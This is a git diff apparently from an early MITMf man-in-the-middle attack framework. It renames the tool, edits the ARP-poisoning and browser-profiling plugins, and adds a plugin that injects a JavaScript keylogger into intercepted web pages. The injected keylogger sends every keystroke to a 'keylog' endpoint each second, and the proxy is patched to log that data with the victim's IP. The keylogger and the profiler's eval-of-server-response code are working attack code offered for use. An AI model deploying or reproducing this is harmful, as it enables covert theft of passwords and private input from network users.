diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f9a7333 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +*.pyc +/plugins/old_plugins/ diff --git a/mitmf.py b/mitmf.py index 7b7079d..6b0b5ec 100644 --- a/mitmf.py +++ b/mitmf.py @@ -16,12 +16,13 @@ import argparse from plugins import * plugin_classes = plugin.Plugin.__subclasses__() +mitmf_version = "0.1" sslstrip_version = "0.9" sergio_version = "0.2.1" if __name__ == "__main__": - parser = argparse.ArgumentParser(description="Sergio Proxy v%s - An HTTP MITM Tool" % sergio_version,epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') + parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version,epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add sslstrip options sgroup = parser.add_argument_group("sslstrip","Options for sslstrip library") sgroup.add_argument("-w","--write",type=argparse.FileType('w'),metavar="filename", default=sys.stdout,help="Specify file to log to (stdout by default).") @@ -66,6 +67,7 @@ if __name__ == "__main__": logging.basicConfig(level=log_level, format='%(asctime)s %(message)s',stream=args.write) #All our options should be loaded now, pass them onto plugins + print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version load = [] try: for p in plugins: @@ -86,7 +88,7 @@ if __name__ == "__main__": reactor.listenTCP(args.listen, strippingFactory) - print "\n[*] sslstrip " + sslstrip_version + " by Moxie Marlinspike running..." + print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version print "[*] sergio-proxy v%s online" % sergio_version reactor.run() diff --git a/plugins/ArpSpoof.py b/plugins/ArpSpoof.py index db61fa9..925052f 100644 --- a/plugins/ArpSpoof.py +++ b/plugins/ArpSpoof.py @@ -89,6 +89,7 @@ class ArpSpoof(Plugin): def add_options(self,options): options.add_argument('--iface', dest='interface', help='Specify the interface to use') options.add_argument('--routerip', dest='routerip', help='Specify the router IP') + options.add_argument('\n Misc Options:') options.add_argument('--target', dest='target', help='Specify a particular host to ARP poison [default: subnet]') options.add_argument('--mode', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: req]') options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') diff --git a/plugins/BrowserProfilerer.py b/plugins/BrowserProfiler.py similarity index 98% rename from plugins/BrowserProfilerer.py rename to plugins/BrowserProfiler.py index 142b673..4ce27fb 100644 --- a/plugins/BrowserProfilerer.py +++ b/plugins/BrowserProfiler.py @@ -1,9 +1,9 @@ from plugins.plugin import Plugin from plugins.Inject import Inject -class BrowserProfilerer(Inject, Plugin): - name = "Browser Profilerer" - optname = "browserprofilerer" +class BrowserProfiler(Inject, Plugin): + name = "Browser Profiler" + optname = "browserprofiler" desc = "Attempts to enumerate all browser plugins of connected clients" has_opts = False @@ -45,21 +45,6 @@ function make_xhr(){ eval(xhr.responseText); } } - - function makeIframe(url) { - ifrm = document.createElement("iframe"); - ifrm.setAttribute("src", url); - ifrm.style.width = 0+"px"; - ifrm.style.height = 0+"px"; - document.body.appendChild(ifrm); - } - - function makeScript(url){ - scp = document.createElement("script"); - scp.setAttribute("type", 'text/javascript'); - scp.setAttribute("src", url); - document.body.appendChild(scp); - } var data = []; userAgent = navigator.userAgent; @@ -95,7 +80,6 @@ function make_xhr(){ var datajoined = data.join("&"); xhr.open("POST", "clientprfl", true); xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); - //alert(datajoined); xhr.send(datajoined); } """ diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py new file mode 100644 index 0000000..a4a5e8f --- /dev/null +++ b/plugins/jskeylogger.py @@ -0,0 +1,58 @@ +from plugins.plugin import Plugin +from plugins.Inject import Inject + +class jskeylogger(Inject, Plugin): + name = "Javascript Keylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + has_opts = False + + def initialize(self,options): + Inject.initialize(self, options) + self.html_payload = self.get_payload() + print "[*] %s online" % self.name + + def get_payload(self): + #simple js keylogger stolen from http://wiremask.eu/xss-keylogger/ + + payload = """var keys = ''; + +function make_xhr(){ + var xhr; + try { + xhr = new XMLHttpRequest(); + } catch(e) { + try { + xhr = new ActiveXObject("Microsoft.XMLHTTP"); + } catch(e) { + xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if(!xhr) { + throw "failed to create XMLHttpRequest"; + } + return xhr; + } + + xhr = make_xhr(); + xhr.onreadystatechange = function() { + if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { + eval(xhr.responseText); + } + } + +document.onkeypress = function(e) { + var get = window.event ? event : e; + var key = get.keyCode ? get.keyCode : get.charCode; + key = String.fromCharCode(key); + keys += key; +} + +window.setInterval(function(){ + xhr.open("POST", "keylog", true); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xhr.send(keys); + keys = ''; +}, 1000);""" + + return payload \ No newline at end of file diff --git a/sslstrip/ServerConnection.py b/sslstrip/ServerConnection.py index 06d1320..9fbfb9c 100644 --- a/sslstrip/ServerConnection.py +++ b/sslstrip/ServerConnection.py @@ -78,6 +78,8 @@ class ServerConnection(HTTPClient): if 'clientprfl' in self.uri: out = pformat(self.post2dict(self.postData)) logging.warning("Browser Profilerer data from " + str(self.client.getClientIP()) + ":\n" + out) + elif 'keylog' in self.uri: + logging.warning("JS Keylogger data from " + str(self.client.getClientIP()) + ":\n" + self.postData) else: logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) self.transport.write(self.postData)